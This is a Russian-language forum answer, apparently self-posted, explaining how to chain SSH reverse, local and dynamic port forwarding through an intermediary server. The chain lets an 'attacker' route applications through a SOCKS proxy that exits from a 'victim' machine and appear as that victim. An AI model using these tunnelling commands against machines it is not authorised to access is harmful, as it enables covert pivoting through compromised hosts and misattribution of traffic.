Очевидно, никто не может ответить на этот вопрос, это нормально, потому что я сам нашел ответ.
Вот ответы:
- На жертве:
ssh -N -f -R 5555:localhost:22 -p <port_of_serv> <ip_of_serv>
- На атакующем # 1:
ssh (-N -f) -L 4444:localhost:5555 -p <port_of_serv> <ip_of_serv>
- На атакующем # 2:
ssh -p 4444 -D localhost:3333 user_on_victim@localhost
- На атакующем № 3: в Firefox или irc, или даже для общих сетевых настроек: Настройки прокси Socks (v5): 127.0.0.1 порт 3333
Каждое приложение, для которого вы настроили хост localhost с портом 3333, будет туннелироваться через serv к жертве, и когда вы посетите что-то вроде http://myip.com, вы увидите ip/host жертвы.
С этого момента вы даже можете использовать приложения с графическим интерфейсом на атакующем (если вы устанавливаете параметры socks для конкретного приложения или для системы в целом), которые будут транслироваться через serv к жертве, и вы будете действовать как жертва как таковая.
Ошибка, которую я допустил в своем мыслительном процессе, заключалась в том, что я не совсем понял, как выглядит схема обратного порта, я попытаюсь объяснить ее простыми словами.
Жертва действия
ssh -N -f -R 5555:localhost:22 -p <port_of_serv> <ip_of_serv>
-N
= Я не собираюсь запускать команды в оболочке
-f
= поставить процесс в фоновом режиме (чтобы вы могли закрыть окно терминала)
-R
= обратный туннель
5555:localhost:22
= 5555 - это порт, на котором сервер внутренне прослушивает передачу данных на порт 22 жертвы. Если вы настроили жертву на запуск ssh на порту 2222, вам следует изменить 22 на 2222.
-p
= порт, на котором работает ssh на serv.
1-я атака
ssh (-N -f) -L 4444:localhost:5555 -p <port_of_serv> <ip_of_serv>`
Первая команда, которую вы делаете для атакующего (-L 4444:localhost:5555
), создаст туннель, чтобы ваше соединение с вашей третьей командой было туннелировано прямо через жертву. (Это только для динамической переадресации портов / приложений Socks)
Если вы просто хотите иметь доступ к оболочке для жертвы вместо этой команды, просто введите ssh в команду serv & затем выполните команду: 'ssh user_on_victim @ localhost -p 5555'.
Но нам не нужен доступ к оболочке, мы хотим туннелировать все данные динамически, поэтому нам нужно сделать переадресацию портов.
Или схематическое объяснение
-L
= локальная переадресация портов (на серв)
- 4444:localhost:5555
помещает все данные, поступающие через порт 4444, в порт 5555.
2-я атака
Вторая команда, которую вы делаете на атакующего
ssh -p 4444 -D localhost:3333 user_on_victim @ localhost
это фактическая команда, которая собирается инициализировать соединение через 2 туннеля. Что вы делаете, вы говорите: подключитесь к порту 4444 и поместите все данные, которые поступают на (локальный порт 3333) на 4444. (который будет локально проходить через серв на порт 5555 ->, который будет вытолкнут на порт 22 на жертве.
Или схематическое объяснение
-D
= Динамическая пересылка
localhost:3333
= прослушивать порт 3333 и передавать данные через ssh-соединение на порт 4444 серв.
-p 4444
= порт, который прослушивает сервер для передачи данных на порт 5555 и затем на порт 22 жертвы.
3-я атака
Настройте свои приложения или даже всю систему на использование прокси-сервера SOCKS (v5) по адресу: localhost port: 3333. Не имеет значения, на каких портах эти приложения работают нормально, потому что это будет обрабатываться прокси-сервером. Теоретически, каждое приложение может работать через посредство прокси динамического переноса через socks. Вам нужно только настроить его. :)
Третье действие против злоумышленника - это фактические данные, которые вы собираетесь направить в жертву. Неважно, что это за данные или приложение, поэтому это динамическая переадресация, не имеет значения, на каких портах эти приложения работают, потому что они будут обрабатываться SOCKS.
Я надеюсь, что кто-то найдет применение в моем объяснении.
Хорошего дня....